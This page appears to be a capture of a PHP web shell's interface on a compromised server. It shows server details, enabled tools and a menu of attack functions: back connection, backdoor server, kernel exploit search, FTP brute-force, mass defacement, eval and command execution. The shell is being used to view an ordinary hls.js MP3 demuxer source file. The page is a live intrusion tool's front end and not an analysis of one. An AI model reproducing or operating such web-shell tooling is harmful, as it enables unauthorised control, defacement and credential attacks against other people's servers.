IP Address: 80.252.133.24:443 You: 216.73.216.51
| |||||||||||||||||||
|
| ||||||||||||||||||
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON | |||||||||||||||||||
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, | |||||||||||||||||||
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ] |
|||||||||||||||||||
| |||||||||||||||||||
/ http/ root/ hls/ src/ demux/ - drwxr-xr-x |
Viewing file:
Select action/file-type: /** * MP3 demuxer */ import ID3 from '../demux/id3'; import { logger } from '../utils/logger'; import MpegAudio from './mpegaudio'; class MP3Demuxer { constructor (observer, remuxer, config) { this.observer = observer; this.config = config; this.remuxer = remuxer; } resetInitSegment (initSegment, audioCodec, videoCodec, duration) { this._audioTrack = { container: 'audio/mpeg', type: 'audio', id: -1, sequenceNumber: 0, isAAC: false, samples: [], len: 0, manifestCodec: audioCodec, duration: duration, inputTimeScale: 90000 }; } resetTimeStamp () { } static probe (data) { // check if data contains ID3 timestamp and MPEG sync word let offset, length; let id3Data = ID3.getID3Data(data, 0); if (id3Data && ID3.getTimeStamp(id3Data) !== undefined) { // Look for MPEG header | 1111 1111 | 111X XYZX | where X can be either 0 or 1 and Y or Z should be 1 // Layer bits (position 14 and 15) in header should be always different from 0 (Layer I or Layer II or Layer III) // More info http://www.mp3-tech.org/programmer/frame_header.html for (offset = id3Data.length, length = Math.min(data.length - 1, offset + 100); offset < length; offset++) { if (MpegAudio.probe(data, offset)) { logger.log('MPEG Audio sync word found !'); return true; } } } return false; } // feed incoming data to the front of the parsing pipeline append (data, timeOffset, contiguous, accurateTimeOffset) { let id3Data = ID3.getID3Data(data, 0) || []; let timestamp = ID3.getTimeStamp(id3Data); let pts = timestamp !== undefined ? 90 * timestamp : timeOffset * 90000; let offset = id3Data.length; let length = data.length; let frameIndex = 0, stamp = 0; let track = this._audioTrack; let id3Samples = [{ pts: pts, dts: pts, data: id3Data }]; while (offset < length) { if (MpegAudio.isHeader(data, offset)) { let frame = MpegAudio.appendFrame(track, data, offset, pts, frameIndex); if (frame) { offset += frame.length; stamp = frame.sample.pts; frameIndex++; } else { // logger.log('Unable to parse Mpeg audio frame'); break; } } else if (ID3.isHeader(data, offset)) { id3Data = ID3.getID3Data(data, offset); id3Samples.push({ pts: stamp, dts: stamp, data: id3Data }); offset += id3Data.length; } else { // nothing found, keep looking offset++; } } this.remuxer.remux(track, { samples: [] }, { samples: id3Samples, inputTimeScale: 90000 }, { samples: [] }, timeOffset, contiguous, accurateTimeOffset); } destroy () { } } export default MP3Demuxer; |
Command: | |
Quick Commands: | |
Upload: | |
PHP Filesystem: |
<@ Ú |
Search File: | |
Create File: | |
View File: | |
Mass Defacement: |